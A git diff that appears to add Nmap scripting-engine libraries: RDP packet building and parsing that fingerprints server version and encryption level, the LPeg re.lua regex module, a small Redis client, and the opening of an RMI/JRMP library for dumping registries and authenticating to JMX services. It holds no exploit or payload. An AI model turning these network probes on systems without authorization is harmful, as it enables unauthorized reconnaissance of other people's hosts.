+ [0x00080007] = " RDP 10.2 server",
+ [0x00080008] = " RDP 10.3 server",
+ [0x00080009] = " RDP 10.4 server",
+ [0x0008000A] = " RDP 10.5 server",
+ [0x0008000B] = " RDP 10.6 server",
+ [0x0008000C] = " RDP 10.7 server",
+}
+
+-- T.125 Result enumerated type
+CONNECT_RESPONSE_RESULT = {
+ [ 0] = "rt-successful",
+ [ 1] = "rt-domain-merging",
+ [ 2] = "rt-domain-not-hierarchical",
+ [ 3] = "rt-no-such-channel",
+ [ 4] = "rt-no-such-domain",
+ [ 5] = "rt-no-such-user",
+ [ 6] = "rt-not-admitted",
+ [ 7] = "rt-other-user-id",
+ [ 8] = "rt-parameters-unacceptable",
+ [ 9] = "rt-token-not-available",
+ [10] = "rt-token-not-possessed",
+ [11] = "rt-too-many-channels",
+ [12] = "rt-too-many-tokens",
+ [13] = "rt-too-many-users",
+ [14] = "rt-unspecified-failure",
+ [15] = "rt-user-rejected",
+}
+
+-- requestedProtocols - flag - RDP_NEG_REQ - MS-RDPBCGR 2.2.1.1.1
+PROTOCOL_RDP = 0 -- Standard RDP Security
+PROTOCOL_SSL = 1 -- TLS 1.0, 1.1, 1.2
+PROTOCOL_HYBRID = 2 -- CredSSP (NLA). TLS flag should be set as well
+PROTOCOL_RDSTLS = 4 -- RDSTLS
+PROTOCOL_HYBRID_EX = 8 -- CredSSP (NLA) with Early User Auth PDU
+
+Packet = {
+
+ TPKT = {
+
+ new = function(self, data)
+ local o = { data = tostring(data), version = 3 }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return string.pack(">BBI2",
+ self.version,
+ self.reserved or 0,
+ (self.data and #self.data + 4 or 4))
+ ..self.data
+ end,
+
+ parse = function(data)
+ local tpkt = Packet.TPKT:new()
+ local pos
+
+ tpkt.version, tpkt.reserved, tpkt.length, pos = string.unpack(">BBI2", data)
+ tpkt.data = data:sub(pos)
+ return tpkt
+ end
+ },
+
+ ITUT = {
+
+ new = function(self, code, data)
+ local o = { data = tostring(data), code = code }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local itut = Packet.ITUT:new()
+ local pos
+
+ itut.length, itut.code, pos = string.unpack("BB", data)
+
+ if ( itut.code == 0xF0 ) then
+ -- X.224 - Data TPDU (DT)
+ itut.eot, pos = string.unpack("B", data, pos)
+ elseif ( itut.code == 0xD0 ) then
+ -- X.224 - Connection Confirm (CC)
+ itut.dstref, itut.srcref, itut.class, pos = string.unpack(">I2I2B", data, pos)
+ end
+
+ itut.data = data:sub(pos)
+ return itut
+ end,
+
+ __tostring = function(self)
+ local len, eot
+ if self.code == 0xF0 then
+ eot = "\x80"
+ len = 2
+ else
+ eot = ""
+ len = #self.data + 1
+ end
+ local data = string.pack("BB",
+ len,
+ self.code or 0)
+ .. eot
+ .. self.data
+
+ return data
+ end,
+
+ },
+
+ ConfCreateResponse = {
+
+
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+
+ local tag_decoder = {}
+
+ tag_decoder["\x0A"] = function( self, encStr, elen, pos )
+ return self.decodeInt(encStr, elen, pos)
+ end
+
+ local ccr = Packet.ConfCreateResponse:new()
+
+ local decoder = asn1.ASN1Decoder:new()
+ decoder:registerTagDecoders( tag_decoder )
+
+ local _, pos = decoder.decodeLength(data, 3)
+ local response_result, userdata
+ response_result, pos = decoder:decode(data, pos)
+ ccr.result = CONNECT_RESPONSE_RESULT[response_result]
+
+ ccr.calledConnectId, pos = decoder:decode(data, pos)
+
+ -- T.125 DomainParameters SEQUENCE
+ -- Not interested in its values now, just need to correctly parse
+ -- the block so we can arrive at userData
+ _, pos = decoder:decode(data, pos)
+
+ -- T.125 userData OCTO string
+ userdata, _ = decoder:decode(data, pos)
+
+ if userdata == nil then
+ return ccr
+ end
+
+ -- Hackery to avoid writing ASN.1 PER decoding. Skip over fixed length
+ -- T.124 ConnectData header. Decode the length since it can be multiple
+ -- bytes. Drops us where we need to be.
+ _, pos = asn1.ASN1Decoder.decodeLength(userdata, 22 )
+ local block_type, block_len
+ while userdata:len() > pos do
+ block_type, block_len = string.unpack("<I2I2", userdata, pos)
+ if block_type == 0x0c01 then
+ -- 2.2.1.42 Server Core Data - TS_UD_SC_CORE
+ local proto_ver = string.unpack("<I4",userdata, pos + 4)
+ ccr.proto_version = ("RDP Protocol Version: %s"):format(PROTO_VERSION[proto_ver] or "Unknown")
+ elseif block_type == 0x0c02 then
+ -- 2.2.1.4.3 Server Security Data - TS_UD_SC_SEC1
+ ccr.enc_level = string.unpack("B", userdata, pos + 8)
+ ccr.enc_cipher= string.unpack("B", userdata, pos + 4)
+ end
+ pos = pos + block_len
+ end
+ return ccr
+ end,
+ },
+
+}
+
+Request = {
+
+ ConnectionRequest = {
+
+ new = function(self, proto)
+ local o = { proto = proto }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ local cookie = "mstshash=nmap"
+
+ local data = string.pack(">I2I2B",
+ 0x0000, -- dst reference
+ 0x0000, -- src reference
+ 0x00) -- class and options
+ .. ("Cookie: %s\r\n"):format(cookie)
+
+ if ( self.proto ) then
+ data = data .. string.pack("<BBI2I4",
+ 0x01, -- TYPE_RDP_NEG_REQ
+ 0x00, -- flags
+ 0x0008, -- length
+ self.proto -- protocol
+ )
+ end
+ return tostring(Packet.TPKT:new(Packet.ITUT:new(0xE0, data)))
+ end
+ },
+
+ MCSConnectInitial = {
+
+ new = function(self, cipher, server_proto)
+ local o = { cipher = cipher, server_proto = server_proto }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+
+ local data = stdnse.fromhex(
+ "7f 65" .. -- BER: Application-Defined Type = APPLICATION 101,
+ "82 01 94" .. -- BER: Type Length = 404 bytes
+ "04 01 01" .. -- Connect-Initial::callingDomainSelector
+ "04 01 01" .. -- Connect-Initial::calledDomainSelector
+ "01 01 ff" .. -- Connect-Initial::upwardFlag = TRUE
+ "30 19" .. -- Connect-Initial::targetParameters (25 bytes)
+ "02 01 22" .. -- DomainParameters::maxChannelIds = 34
+ "02 01 02" .. -- DomainParameters::maxUserIds = 2
+ "02 01 00" .. -- DomainParameters::maxTokenIds = 0
+ "02 01 01" .. -- DomainParameters::numPriorities = 1
+ "02 01 00" .. -- DomainParameters::minThroughput = 0
+ "02 01 01" .. -- DomainParameters::maxHeight = 1
+ "02 02 ff ff" .. -- DomainParameters::maxMCSPDUsize = 65535
+ "02 01 02" .. -- DomainParameters::protocolVersion = 2
+ "30 19" .. -- Connect-Initial::minimumParameters (25 bytes)
+ "02 01 01" .. -- DomainParameters::maxChannelIds = 1
+ "02 01 01" .. -- DomainParameters::maxUserIds = 1
+ "02 01 01" .. -- DomainParameters::maxTokenIds = 1
+ "02 01 01" .. -- DomainParameters::numPriorities = 1
+ "02 01 00" .. -- DomainParameters::minThroughput = 0
+ "02 01 01" .. -- DomainParameters::maxHeight = 1
+ "02 02 04 20" .. -- DomainParameters::maxMCSPDUsize = 1056
+ "02 01 02" .. -- DomainParameters::protocolVersion = 2
+ "30 1c" .. -- Connect-Initial::maximumParameters (28 bytes)
+ "02 02 ff ff" .. -- DomainParameters::maxChannelIds = 65535
+ "02 02 fc 17" .. -- DomainParameters::maxUserIds = 64535
+ "02 02 ff ff" .. -- DomainParameters::maxTokenIds = 65535
+ "02 01 01" .. -- DomainParameters::numPriorities = 1
+ "02 01 00" .. -- DomainParameters::minThroughput = 0
+ "02 01 01" .. -- DomainParameters::maxHeight = 1
+ "02 02 ff ff" .. -- DomainParameters::maxMCSPDUsize = 65535
+ "02 01 02" .. -- DomainParameters::protocolVersion = 2
+ "04 82 01 33" .. -- Connect-Initial::userData (307 bytes)
+ "00 05" .. -- object length = 5 bytes
+ "00 14 7c 00 01" .. -- object
+ "81 2a" .. -- ConnectData::connectPDU length = 42 bytes
+ "00 08 00 10 00 01 c0 00 44 75 63 61 81 1c" .. -- PER encoded (ALIGNED variant of BASIC-PER) GCC Conference Create Request PDU
+ "01 c0 d8 00" .. -- TS_UD_HEADER::type = CS_CORE (0xc001), length = 216 bytes
+ "04 00 08 00" .. -- TS_UD_CS_CORE::version = 0x0008004
+ "00 05" .. -- TS_UD_CS_CORE::desktopWidth = 1280
+ "20 03" .. -- TS_UD_CS_CORE::desktopHeight = 1024
+ "01 ca" .. -- TS_UD_CS_CORE::colorDepth = RNS_UD_COLOR_8BPP (0xca01)
+ "03 aa" .. -- TS_UD_CS_CORE::SASSequence
+ "09 04 00 00" .. -- TS_UD_CS_CORE::keyboardLayout = 0x409 = 1033 = English (US)
+ "28 0a 00 00" .. -- TS_UD_CS_CORE::clientBuild = 2600
+ "45 00 4d 00 50 00 2d 00 4c 00 41 00 50 00 2d 00 " ..
+ "30 00 30 00 31 00 34 00 00 00 00 00 00 00 00 00 " .. -- TS_UD_CS_CORE::clientName = EMP-LAP-0014
+ "04 00 00 00" .. -- TS_UD_CS_CORE::keyboardType
+ "00 00 00 00" .. -- TS_UD_CS_CORE::keyboardSubtype
+ "0c 00 00 00" .. -- TS_UD_CS_CORE::keyboardFunctionKey
+ "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " ..
+ "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " ..
+ "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " ..
+ "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " .. -- TS_UD_CS_CORE::imeFileName = ""
+ "01 ca" .. -- TS_UD_CS_CORE::postBeta2ColorDepth = RNS_UD_COLOR_8BPP (0xca01)
+ "01 00" .. -- TS_UD_CS_CORE::clientProductId
+ "00 00 00 00" .. -- TS_UD_CS_CORE::serialNumber
+ "18 00" .. -- TS_UD_CS_CORE::highColorDepth = 24 bpp
+ "07 00" .. -- TS_UD_CS_CORE::supportedColorDepths = 24 bpp
+ "01 00" .. -- TS_UD_CS_CORE::earlyCapabilityFlags
+ "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " ..
+ "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " ..
+ "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " ..
+ "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " .. -- TS_UD_CS_CORE::clientDigProductId
+ "00" .. -- TS_UD_CS_CORE::connectionType = 0 (not used as RNS_UD_CS_VALID_CONNECTION_TYPE not set)
+ "00") -- TS_UD_CS_CORE::pad1octet
+ -- TS_UD_CS_CORE::serverSelectedProtocol
+ .. string.pack("<I4", self.server_proto or 0) .. stdnse.fromhex(
+ "04 c0 0c 00" .. -- TS_UD_HEADER::type = CS_CLUSTER (0xc004), length = 12 bytes
+ "09 00 00 00" .. -- TS_UD_CS_CLUSTER::Flags = 0x0d
+ "00 00 00 00" .. -- TS_UD_CS_CLUSTER::RedirectedSessionID
+ "02 c0 0c 00") -- TS_UD_HEADER::type = CS_SECURITY (0xc002), length = 12 bytes
+ -- "1b 00 00 00" .. -- TS_UD_CS_SEC::encryptionMethods
+ .. string.pack("<I4", self.cipher or 0) .. stdnse.fromhex(
+ "00 00 00 00" .. -- TS_UD_CS_SEC::extEncryptionMethods
+ "03 c0 2c 00" .. -- TS_UD_HEADER::type = CS_NET (0xc003), length = 44 bytes
+ "03 00 00 00" .. -- TS_UD_CS_NET::channelCount = 3
+ "72 64 70 64 72 00 00 00" .. -- CHANNEL_DEF::name = "rdpdr"
+ "00 00 80 80" .. -- CHANNEL_DEF::options = 0x80800000
+ "63 6c 69 70 72 64 72 00" .. -- CHANNEL_DEF::name = "cliprdr"
+ "00 00 a0 c0" .. -- CHANNEL_DEF::options = 0xc0a00000
+ "72 64 70 73 6e 64 00 00" .. -- CHANNEL_DEF::name = "rdpsnd"
+ "00 00 00 c0" -- CHANNEL_DEF::options = 0xc0000000
+ )
+ return tostring(Packet.TPKT:new(Packet.ITUT:new(0xF0, data)))
+ end
+
+ },
+
+}
+
+Response = {
+
+ ConnectionConfirm = {
+
+ new = function(self)
+ local o = { }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local cc = Response.ConnectionConfirm:new()
+
+ cc.tpkt = Packet.TPKT.parse(data)
+ cc.itut = Packet.ITUT.parse(cc.tpkt.data)
+ return cc
+ end,
+
+ },
+
+ MCSConnectResponse = {
+ new = function(self)
+ local o = { }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local cr = Response.MCSConnectResponse:new()
+
+ cr.tpkt = Packet.TPKT.parse(data)
+ cr.itut = Packet.ITUT.parse(cr.tpkt.data)
+ if ( cr.itut.code == 0xF0 ) then
+ -- X.224 - Data TPDU (DT)
+ cr.ccr = Packet.ConfCreateResponse.parse(cr.itut.data)
+ end
+ return cr
+ end
+ }
+
+}
+
+Comm = {
+
+ -- Creates a new Comm instance
+ -- @param host table
+ -- @param port table
+ -- @return o instance of Comm
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connect to the server
+ -- @return status true on success, false on failure
+ -- @return err string containing error message, if status is false
+ connect = function(self)
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(5000)
+ if ( not(self.socket:connect(self.host, self.port)) ) then
+ return false, "Failed connecting to server"
+ end
+ return true
+ end,
+
+ -- Close the connection to the server
+ -- @return status true on success, false on failure
+ close = function(self)
+ return self.socket:close()
+ end,
+
+ -- Sends a message to the server
+ -- @param pkt an instance of Request.*
+ -- @return status true on success, false on failure
+ -- @return err string containing error message, if status is false
+ send = function(self, pkt)
+ return self.socket:send(tostring(pkt))
+ end,
+
+ -- Receives a message from the server
+ -- @return status true on success, false on failure
+ -- @return err string containing error message, if status is false
+ recv = function(self)
+ return self.socket:receive()
+ end,
+
+ -- Sends a message to the server and receives the response
+ -- @param pkt an instance of Request.*
+ -- @return status true on success, false on failure
+ -- @return err string containing error message, if status is false
+ -- pkt instance of Response.* on success
+ exch = function(self, pkt)
+ local status, err = self:send(pkt)
+ if ( not(status) ) then
+ return false, err
+ end
+
+ local _, data = self:recv()
+ if ( #data< 5 ) then
+ return false, "Packet too short"
+ end
+
+ local itut_code = string.byte(data, 6)
+ if ( itut_code == 0xD0 ) then
+ stdnse.debug2("RDP: Received ConnectionConfirm response")
+ return true, Response.ConnectionConfirm.parse(data)
+ elseif ( itut_code == 0xF0 ) then
+ return true, Response.MCSConnectResponse.parse(data)
+ elseif itut_code ~= nil then
+ stdnse.debug1(("comm:exch - Unknown itut_code: %s"):format(itut_code))
+ end
+ return false, "Received unhandled packet"
+ end,
+}
+
+return _ENV;
diff --git a/nselib/re.lua b/nselib/re.lua
new file mode 100644
index 0000000..43e78cf
--- /dev/null
+++ b/nselib/re.lua
@@ -0,0 +1,321 @@
+---
+-- Regular Expression functions
+--
+-- This is the re.lua module included in the LPeg distribution (http://www.inf.puc-rio.br/~roberto/lpeg/re.html)
+--
+-- @class module
+-- @name re
+-- @copyright 2008-2010 Lua.org, PUC-Rio. (https://svn.nmap.org/nmap/docs/licenses/MIT)
+
+--- Compiles the given string and returns an equivalent LPeg pattern.
+--
+-- The given string may define either an expression or a grammar. The optional
+-- defs table provides extra Lua values to be used by the pattern.
+-- @class function
+-- @name compile
+-- @param string a regular expression or an LPeg grammar
+-- @param defs Optional values to be used by the pattern
+-- @return an LPeg pattern
+
+--- Searches the given pattern in the given subject.
+--
+-- If it finds a match, returns the index where this occurrence starts and the
+-- index where it ends. Otherwise, returns nil.
+--
+-- An optional numeric argument init makes the search starts at that position
+-- in the subject string. As usual in Lua libraries, a negative value counts
+-- from the end.
+-- @class function
+-- @name find
+-- @param subject The string to search
+-- @param pattern A regular expression
+-- @param init Optional index into subject to start searching
+-- @return index where the occurrence starts or nil
+-- @return index where the occurrence ends
+
+--- Global substitution.
+--
+-- Does a global substitution, replacing all occurrences of pattern in the
+-- given subject by replacement.
+-- @class function
+-- @name gsub
+-- @param subject The string to search
+-- @param pattern The pattern to match
+-- @param replacement The replacement for each pattern
+-- @return The string with all occurrences replaced
+
+--- Matches the given pattern against the given subject
+--
+-- Matches the given pattern against the given subject, returning all captures.
+-- @class function
+-- @name match
+-- @param subject The string to search
+-- @param pattern The pattern to match
+-- @param init Optional index into subject to start searching
+-- @return pattern captures
+
+--- Updates the pre-defined character classes to the current locale.
+--
+-- @class function
+-- @name updatelocale
+
+-- $Id: re.lua,v 1.44 2013/03/26 20:11:40 roberto Exp $
+
+-- imported functions and modules
+local tonumber, type, print, error = tonumber, type, print, error
+local setmetatable = setmetatable
+local m = require"lpeg"
+
+-- 'm' will be used to parse expressions, and 'mm' will be used to
+-- create expressions; that is, 're' runs on 'm', creating patterns
+-- on 'mm'
+local mm = m
+
+-- pattern's metatable
+local mt = getmetatable(mm.P(0))
+
+
+
+-- No more global accesses after this point
+local version = _VERSION
+if version == "Lua 5.2" then _ENV = nil end
+
+
+local any = m.P(1)
+
+
+-- Pre-defined names
+local Predef = { nl = m.P"\n" }
+
+
+local mem
+local fmem
+local gmem
+
+
+local function updatelocale ()
+ mm.locale(Predef)
+ Predef.a = Predef.alpha
+ Predef.c = Predef.cntrl
+ Predef.d = Predef.digit
+ Predef.g = Predef.graph
+ Predef.l = Predef.lower
+ Predef.p = Predef.punct
+ Predef.s = Predef.space
+ Predef.u = Predef.upper
+ Predef.w = Predef.alnum
+ Predef.x = Predef.xdigit
+ Predef.A = any - Predef.a
+ Predef.C = any - Predef.c
+ Predef.D = any - Predef.d
+ Predef.G = any - Predef.g
+ Predef.L = any - Predef.l
+ Predef.P = any - Predef.p
+ Predef.S = any - Predef.s
+ Predef.U = any - Predef.u
+ Predef.W = any - Predef.w
+ Predef.X = any - Predef.x
+ mem = {} -- restart memoization
+ fmem = {}
+ gmem = {}
+ local mt = {__mode = "v"}
+ setmetatable(mem, mt)
+ setmetatable(fmem, mt)
+ setmetatable(gmem, mt)
+end
+
+
+updatelocale()
+
+
+
+local I = m.P(function (s,i) print(i, s:sub(1, i-1)); return i end)
+
+
+local function getdef (id, defs)
+ local c = defs and defs[id]
+ if not c then error("undefined name: " .. id) end
+ return c
+end
+
+
+local function patt_error (s, i)
+ local msg = (#s < i + 20) and s:sub(i)
+ or s:sub(i,i+20) .. "..."
+ msg = ("pattern error near '%s'"):format(msg)
+ error(msg, 2)
+end
+
+local function mult (p, n)
+ local np = mm.P(true)
+ while n >= 1 do
+ if n%2 >= 1 then np = np * p end
+ p = p * p
+ n = n/2
+ end
+ return np
+end
+
+local function equalcap (s, i, c)
+ if type(c) ~= "string" then return nil end
+ local e = #c + i
+ if s:sub(i, e - 1) == c then return e else return nil end
+end
+
+
+local S = (Predef.space + "--" * (any - Predef.nl)^0)^0
+
+local name = m.R("AZ", "az", "__") * m.R("AZ", "az", "__", "09")^0
+
+local arrow = S * "<-"
+
+local seq_follow = m.P"/" + ")" + "}" + ":}" + "~}" + "|}" + (name * arrow) + -1
+
+name = m.C(name)
+
+
+-- a defined name only have meaning in a given environment
+local Def = name * m.Carg(1)
+
+local num = m.C(m.R"09"^1) * S / tonumber
+
+local String = "'" * m.C((any - "'")^0) * "'" +
+ '"' * m.C((any - '"')^0) * '"'
+
+
+local defined = "%" * Def / function (c,Defs)
+ local cat = Defs and Defs[c] or Predef[c]
+ if not cat then error ("name '" .. c .. "' undefined") end
+ return cat
+end
+
+local Range = m.Cs(any * (m.P"-"/"") * (any - "]")) / mm.R
+
+local item = defined + Range + m.C(any)
+
+local Class =
+ "["
+ * (m.C(m.P"^"^-1)) -- optional complement symbol
+ * m.Cf(item * (item - "]")^0, mt.__add) /
+ function (c, p) return c == "^" and any - p or p end
+ * "]"
+
+local function adddef (t, k, exp)
+ if t[k] then
+ error("'"..k.."' already defined as a rule")
+ else
+ t[k] = exp
+ end
+ return t
+end
+
+local function firstdef (n, r) return adddef({n}, n, r) end
+
+
+local function NT (n, b)
+ if not b then
+ error("rule '"..n.."' used outside a grammar")
+ else return mm.V(n)
+ end
+end
+
+
+local exp = m.P{ "Exp",
+ Exp = S * ( m.V"Grammar"
+ + m.Cf(m.V"Seq" * ("/" * S * m.V"Seq")^0, mt.__add) );
+ Seq = m.Cf(m.Cc(m.P"") * m.V"Prefix"^0 , mt.__mul)
+ * (#seq_follow + patt_error);
+ Prefix = "&" * S * m.V"Prefix" / mt.__len
+ + "!" * S * m.V"Prefix" / mt.__unm
+ + m.V"Suffix";
+ Suffix = m.Cf(m.V"Primary" * S *
+ ( ( m.P"+" * m.Cc(1, mt.__pow)
+ + m.P"*" * m.Cc(0, mt.__pow)
+ + m.P"?" * m.Cc(-1, mt.__pow)
+ + "^" * ( m.Cg(num * m.Cc(mult))
+ + m.Cg(m.C(m.S"+-" * m.R"09"^1) * m.Cc(mt.__pow))
+ )
+ + "->" * S * ( m.Cg((String + num) * m.Cc(mt.__div))
+ + m.P"{}" * m.Cc(nil, m.Ct)
+ + m.Cg(Def / getdef * m.Cc(mt.__div))
+ )
+ + "=>" * S * m.Cg(Def / getdef * m.Cc(m.Cmt))
+ ) * S
+ )^0, function (a,b,f) return f(a,b) end );
+ Primary = "(" * m.V"Exp" * ")"
+ + String / mm.P
+ + Class
+ + defined
+ + "{:" * (name * ":" + m.Cc(nil)) * m.V"Exp" * ":}" /
+ function (n, p) return mm.Cg(p, n) end
+ + "=" * name / function (n) return mm.Cmt(mm.Cb(n), equalcap) end
+ + m.P"{}" / mm.Cp
+ + "{~" * m.V"Exp" * "~}" / mm.Cs
+ + "{|" * m.V"Exp" * "|}" / mm.Ct
+ + "{" * m.V"Exp" * "}" / mm.C
+ + m.P"." * m.Cc(any)
+ + (name * -arrow + "<" * name * ">") * m.Cb("G") / NT;
+ Definition = name * arrow * m.V"Exp";
+ Grammar = m.Cg(m.Cc(true), "G") *
+ m.Cf(m.V"Definition" / firstdef * m.Cg(m.V"Definition")^0,
+ adddef) / mm.P
+}
+
+local pattern = S * m.Cg(m.Cc(false), "G") * exp / mm.P * (-any + patt_error)
+
+
+local function compile (p, defs)
+ if mm.type(p) == "pattern" then return p end -- already compiled
+ local cp = pattern:match(p, 1, defs)
+ if not cp then error("incorrect pattern", 3) end
+ return cp
+end
+
+local function match (s, p, i)
+ local cp = mem[p]
+ if not cp then
+ cp = compile(p)
+ mem[p] = cp
+ end
+ return cp:match(s, i or 1)
+end
+
+local function find (s, p, i)
+ local cp = fmem[p]
+ if not cp then
+ cp = compile(p) / 0
+ cp = mm.P{ mm.Cp() * cp * mm.Cp() + 1 * mm.V(1) }
+ fmem[p] = cp
+ end
+ local i, e = cp:match(s, i or 1)
+ if i then return i, e - 1
+ else return i
+ end
+end
+
+local function gsub (s, p, rep)
+ local g = gmem[p] or {} -- ensure gmem[p] is not collected while here
+ gmem[p] = g
+ local cp = g[rep]
+ if not cp then
+ cp = compile(p)
+ cp = mm.Cs((cp / rep + 1)^0)
+ g[rep] = cp
+ end
+ return cp:match(s)
+end
+
+
+-- exported names
+local re = {
+ compile = compile,
+ match = match,
+ find = find,
+ gsub = gsub,
+ updatelocale = updatelocale,
+}
+
+-- NSE uses Lua 5.2
+--if version == "Lua 5.1" then _G.re = re end
+
+return re
diff --git a/nselib/redis.lua b/nselib/redis.lua
new file mode 100644
index 0000000..fab9190
--- /dev/null
+++ b/nselib/redis.lua
@@ -0,0 +1,148 @@
+--- A minimalistic Redis (in-memory key-value data store) library.
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+_ENV = stdnse.module("redis", stdnse.seeall)
+
+Request = {
+
+ new = function(self, cmd, ...)
+ local o = { cmd = cmd, args = {...} }
+ setmetatable (o,self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ local output = ("*%s\r\n$%d\r\n%s\r\n"):format(#self.args + 1, #self.cmd, self.cmd)
+
+ for _, arg in ipairs(self.args) do
+ arg = tostring(arg)
+ output = output .. ("$%s\r\n%s\r\n"):format(#arg, arg)
+ end
+
+ return output
+ end
+
+}
+
+
+Response = {
+
+ Type = {
+ STATUS = 0,
+ ERROR = 1,
+ INTEGER = 2,
+ BULK = 3,
+ MULTIBULK = 4,
+ },
+
+ new = function(self, socket)
+ local o = { socket = socket }
+ setmetatable (o,self)
+ self.__index = self
+ return o
+ end,
+
+ receive = function(self)
+ local status, data = self.socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+
+ -- if we have a status, integer or error message
+ if ( data:match("^[%-%+%:]") ) then
+ local response = { data = data }
+ local t = data:match("^([-+:])")
+ if ( t == "-" ) then
+ response.type = Response.Type.ERROR
+ elseif ( t == "+" ) then
+ response.type = Response.Type.STATUS
+ elseif ( t == ":" ) then
+ response.type = Response.Type.INTEGER
+ end
+
+ return true, response
+ end
+
+ -- process bulk reply
+ if ( data:match("^%$") ) then
+ -- non existing key
+ if ( data == "$-1" ) then
+ return true, nil
+ end
+
+ local len = tonumber(data:match("^%$(%d*)"))
+ -- we should only have a single line, so we can just peel of the length
+ status, data = self.socket:receive_buf(match.numbytes(len), true)
+ if( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+ -- move past the terminal CRLF
+ local status, crlf = self.socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+
+ return true, { data = data, type = Response.Type.BULK }
+ end
+
+ -- process multi-bulk reply
+ if ( data:match("^%*%d*") ) then
+ local count = data:match("^%*(%d*)")
+ local results = {}
+
+ for i=1, count do
+ -- peel of the length
+ local status = self.socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+ if( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+
+ status, data = self.socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+ if( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+ table.insert(results, data)
+ end
+ return true, { data = results, type = Response.Type.MULTIBULK }
+ end
+
+ return false, "Unsupported response"
+ end,
+
+
+
+}
+
+Helper = {
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable (o,self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self, socket)
+ self.socket = socket or nmap.new_socket()
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ reqCmd = function(self, cmd, ...)
+ local req = Request:new(cmd, ...)
+ local status, err = self.socket:send(tostring(req))
+ if (not(status)) then
+ return false, "Failed to send command to server"
+ end
+ return Response:new(self.socket):receive()
+ end,
+
+ close = function(self)
+ return self.socket:close()
+ end
+
+}
+
+return _ENV;
diff --git a/nselib/rmi.lua b/nselib/rmi.lua
new file mode 100644
index 0000000..e51326b
--- /dev/null
+++ b/nselib/rmi.lua
@@ -0,0 +1,1552 @@
+--- Library method for communicating over RMI (JRMP + java serialization)
+--
+-- This is a not complete RMI implementation for Lua, which is meant to be able
+-- to invoke methods and parse returnvalues which are simple, basically the java primitives.
+-- This can be used to e.g dump out the registry, and perform authentication against
+-- e.g JMX-services.
+--
+-- This library also contains some classes which works pretty much like the
+-- java classes BufferedReader, BufferedWriter, DataOutputStream and DataInputStream.
+--
+-- Most of the methods in the RMIDataStream class is based on the OpenJDK RMI Implementation,
+-- and I have kept the methodnames as they are in java, so it should not be too hard to find
+-- the corresponding functionality in the jdk codebase to see how things 'should' be done, in case
+-- there are bugs or someone wants to make additions. I have only implemented the
+-- things that were needed to get things working, but it should be pretty simple to add more
+-- functionality by lifting over more stuff from the jdk.
+--
+-- The interesting classes in OpenJDK are:
+-- java.io.ObjectStreamConstants
+-- java.io.ObjectStreamClass
+-- java.io.ObjectInputStream
+-- sun.rmi.transport.StreamRemoteCall
+-- and a few more.
+--
+-- If you want to add calls to classes you know of, you can use e.g Jode to decompile the
+-- stub-class or skeleton class and find out the details that are needed to perform an
+-- RMI method invocation. Those are
+-- Class hashcode
+-- Method number (each method gets a number)
+-- Arguments f
+-- You also need the object id (so the remote server knows what instance you are talking to). That can be
+-- fetched from the registry (afaik) but not currently implemented. Some object ids are static : the registry is always 0
+--
+-- @author Martin Holst Swende
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @see java 1.4 RMI-spec: http://java.sun.com/j2se/1.4.2/docs/guide/rmi/
+-- @see java 5 RMI-spec: http://java.sun.com/j2se/1.5.0/docs/guide/rmi/spec/rmiTOC.html
+-- @see java 6 RMI-spec : http://java.sun.com/javase/6/docs/technotes/guides/rmi/index.html
+-- @see The protocol for Java object serializtion : http://java.sun.com/javase/6/docs/platform/serialization/spec/protocol.html
+-- Version 0.2
+
+-- Created 09/06/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>
+-- Fixed more documentation - v0.2 Martin Holst Swende <martin@swende.se>
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("rmi", stdnse.seeall)
+-- Some lazy shortcuts
+
+local function dbg(str,...)
+ local arg={...}
+ stdnse.debug3("RMI:"..str, table.unpack(arg))
+end
+-- Convenience function to both print an error message and return <false, msg>
+-- Example usage :
+-- if foo ~= "gazonk" then
+-- return doh("Foo should be gazonk but was %s", foo)
+-- end
+local function doh(str,...)
+ local arg={...}
+ stdnse.debug1("RMI-ERR:"..tostring(str), table.unpack(arg))
+ return false, str
+end
+
+---
+-- BufferedWriter
+-- This buffering writer provide functionality much like javas BufferedWriter.
+--
+-- BufferedWriter wraps string.pack, and buffers data internally
+-- until flush is called. When flush is called, it either sends the data to the socket OR
+-- returns the data, if no socket has been set.
+--@usage:
+-- local bWriter = BufferedWriter:new(socket)
